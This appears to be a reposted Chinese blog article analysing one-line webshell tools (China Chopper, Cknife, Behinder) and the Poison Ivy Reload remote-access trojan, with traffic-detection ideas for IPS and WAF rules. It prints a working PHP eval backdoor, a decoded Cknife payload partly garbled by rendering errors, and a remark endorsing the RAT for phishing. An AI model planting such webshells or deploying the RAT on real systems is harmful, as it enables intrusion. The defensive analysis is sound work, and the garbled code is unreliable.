2017-01-27-一句话木马原理详解

2017-01-27-一句话木马原理详解


layout: post
title: “一句话木马原理详解”
categories: [网络安全CyberSecurity]
tags: [一句话木马]


作者:愤怒的小辣椒
链接:https://www.zhihu.com/question/269213687/answer/1088999932
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

首先理解,eval()是把里面的内容按照php代码去执行

菜刀通过你的一句话木马去进行http请求,然后用经过base64编码后的代码来执行命令,以小马传大马

一句话木马用到了一个比较有趣的命令下发思路,即不直接发送命令编码,而是将命令代码直接发送给木马端执行,这样木马端文件会特别小,而由于每条命令需要通过网络传输,数据包会比较大。这些工具的流量也是ips,waf等网络安全设备的检测重点。

一句话木马的发展主要有几个典型的代表:最开始是中国菜刀,接着是开源的Cknife和中国蚁剑,到近两年的冰蝎,攻击工具一直在进化。其实还有个神奇的二进制远控 Poison Ivy,说它神奇就在于它相当于一个二进制的一句话工具,直接传送shellcode到被控端执行,而且据说这个远控是比较早(零几年就出现了)

二、WEB一句话木马

菜刀,Cknife,蚁剑这些工具原理比较接近,使用方法大家应该比较熟了,可能有些做渗透测试的朋友也没有了解过原理。我们做防护规则,对常用的工具都会做分析,先以Cknife为例来分析这个系列。

2.1Ckinife连接

2.1.1 PHP一句话连接

Asp,aspx和PHP的连接原理比较接近,PHP最基础的一句话如下:

<?php @**eval**($_POST[‘pass’]);?>

通过Cknife等发包工具,把需要执行的php脚本片段,通过密码pass参数传给服务器端,服务器通过eval函数进行执行。可以看出,一句话木马的本质是PHP,ASP(ASPX)语言具有eval函数,使之具有了动态性,基于动态性,攻击者就可以把命令传给服务器端的一句话木马进行执行,这些命令在config.ini作了定义。

img
img

发的请求包中,action参数用来传输base64编码后的命令,可能是考虑到特殊字符容易出问题或者不符合rfc协议之类的原因。真正的连接密码pass,先对action参数做base64解密,然后传到服务器端执行。

img
img

我们把PHP命令做解码,得到

@ini_set(“display_errors”,“0”);@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-

|");;D=base64decode(D=base64_decode(D=base64decode(_POST[“z1”]);F=@opendir(F=@opendir(F=@opendir(D);if(KaTeX parse error: Expected '}', got 'EOF' at end of input: …n!");}**else**{M=NULL;L=NULL;∗∗while∗∗(L=NULL;**while**(L=NULL;while(N=@readdir(KaTeX parse error: Expected '}', got 'EOF' at end of input: F)){P=D."/".D."/".D."/".N;T=@date("Y−m−dH:i:s",@filemtime(T=@date("Y-m-d H:i:s",@filemtime(T=@date("YmdH:i:s",@filemtime(P));@E=∗∗substr∗∗(baseconvert(@fileperms(E=**substr**(base_convert(@fileperms(E=substr(baseconvert(@fileperms(P),10,8),-4);KaTeX parse error: Undefined control sequence: \t at position 4: R="\̲t̲".T."\t".@filesize(KaTeX parse error: Undefined control sequence: \t at position 5: P)."\̲t̲".E."";if(@is_dir(P))P))P))M.=N."/".N."/".N."/".R;else L.=L.=L.=N.$R;}echo M.M.M.L;@closedir($F);};echo("|<-");die();

可以看到通过循环遍历某个路径下的文件,其中路径又是通过z1参数base64编码进行传递,截图是查看C盘目录。

2.1.2PHP一句话连接流量检测

截取了一个snort的开源规则,他检测的字符串是=@eval(base64_decode($_POST,如下

img
img

根据规则的描述信息来看,是基于13年fireeye的分析中国菜刀的文章添加的规则,个人认为这条规则还是写的太严格了,其实直接看抓到的cknife报文,就无法匹配菜刀的这条规则,

img
img

如上图Cknife的payload中,eval后面带了一个\x01。Ips、waf规则其实只要不影响业务,也是越简单越好,避免漏报。

2.1.3JSP一句话连接

Java由于没有eval函数,所以最开始是没有一句话木马的,但是由于菜刀/Cknife这类工具太好用了,jspspy这种大马又比较大,所以有高手写了一个带简单功能的webshell,通过定制(customize)方式来传输命令码,我理解customize是传控制码而不传输命令,其流量如下:

img
img

2.1.4JSP一句话连接流量检测

这种比较短的请求就不太好检测了,一般思路就是按照流量来检测,写规则基本也是把常见的工具都遍历一遍,然后找找规律,包括参数名,参数值等。

2.2冰蝎连接

由于Cknife菜刀的明文传输可以被检测到,有高手写了一个加密的一句话工具冰蝎。对冰蝎的原理作了详细的讲解,我觉得最有意思的是这个一句话木马做到了java语言真正的一句话。

img
img

提交给被控端的数据先做解密,解密后的数据作为class文件的字节码,通过自定义classloader的get方法,调用父类defineclass方法动态生成一个类,然后调用其重载的equals函数执行命令。还有一些细节作者也有讲,比如父类defineclass方法是protect属性,正好子类可以直接调用,继承父类classloader还可以避免不同的classloader找不到相关类。重载的equals函数接受pagecontext参数,可以调用页面的参数并设置应答内容。

img
img

对于php和asp,aspx作者也使用类似的手法做了加密和变形,这些跟菜刀/Cknife的原理都不一样了,思路非常值得学习,但是流量就很难检测了:-(。

三、二进制一句话木马

起因是看到github上面开源了一个poison ivy的RAT,是国内作者重写的名为poison ivy reload的项目,注释比较完整。这个大名鼎鼎的远控思路跟菜刀是一致的,命令通过shellcode传输,由于shellcode不需要重定位代码,直接分配内存就可以执行命令了,并且不仅命令是shellcode,木马本身就是shellcode。据说今年hw的第一天,就有攻击队钓鱼用的就是这个远控。

3.1poison ivy reload

控制端在Client文件夹,被控端在loader文件夹。先看被控端:

3.1.1被控端

相关配置文件和函数地址定义在global_data_t这个结构,使用到宏指令生成了非常紧凑的结构。下面是生成客户端的配置,包括配置连接方式、启动项、连接密码等。

img
img

下面是api地址,需要在加载后重新计算偏移后进行修复

img
img

loader_main是主要的入口,初始化global_config配置,然后根据配置主动外联控制端,首先是发包,做一个17字节的头部发送给控制端上线

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-y3gJuTGl-1647509192327)(https://pic2.zhimg.com/50/v2-3c40829a650f96ab57be6975d78f8601_hd.jpg?source=1940ef5c)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fpb5ZJwF-1647509192328)(https://up-gz.zsyts.cn/wp-content/uploads/2023/06/132a761e88d6d7e4e4dce2c733263984.jpg?source=1940ef5c)]

然后rc4加密后发送出去,等待接收shellcode命令,收到数据后,进行rc4解密,然后分配内存,解压缩并拷贝数据到这块内存,执行代码。

img
img

木马有2种启动方式,本进程启动或者远程注入到ie启动。

img
img

可选的启动项:

img
img

3.1.2控制端

控制端是delphi编写,不过重点也是用到了一些shellcode,shellcode代码还是在loader文件夹下面,其中function目录是基础控制函数,包括入口的shell_main.c,是控制端传过来的第一段shellcode,会初始化相关结构并且作为整体的消息处理框架,information是收集被控端的本地信息并回传,cmdshell是反弹cmd端口,screenspy是抓取屏幕,process是列当前进程,thumbnail是获取图标。

img
img

loader_function和extra_function目录下面有一些其他功能函数,包括添加启动项、远程注入、socks5连接等。作者注释掉了生成shellcode的代码,修复后可以用shellcode方式执行,结合office文档漏洞钓鱼是一个不错的选择。

3.1.3通信流量

可以看看PI的上线流量。第一次交互主要是被控端上线,控制端发送shellcode_main的shellcode作为被控端的消息处理框架。

img
img

第二次交互则是被控端请求information的shellcode,即需要函数代码来提取本机的信息,但是这些函数都以shellcode形式存在控制端。

img
img

传输的这些函数包括下面的获取局域网信息get_lan_info,获取操作系统版本get_os_version,获取cpu频率get_cpu_frequency等。

img
img

第三次交互就是执行这些shellcode回传结果了

img
img

结果回显

img
img

每次交互的结果也会在stat标签页打印出来

img
img

3.1.4Poison Ivy Reload连接流量检测

这种加密流量ips之类的网络就比较难识别了。由于PI前期的上线流量比较固定,而且还有大量的ping pong心跳包,我觉得还是可以考虑从这些规律入手,即不通过传统特征匹配,而通过会话统计进行检测。

目前分析的是开源的PI Reload,也只是做了最简单的分析和测试,看了一下会话交互流量,我觉得更值得学习的是作者深厚的开发功底和调试技术。

对于这些一句话木马工具,现有的技术手段比较难检测了,主要原因在于交互流量加密,并且协议的私有性,很难通过特征匹配,后续可能还是通过态势感知系统之类的分析统计功能会有效一些

                       

点击阅读全文

上一篇 2023年 6月 12日 am10:28
下一篇 2023年 6月 12日 am10:30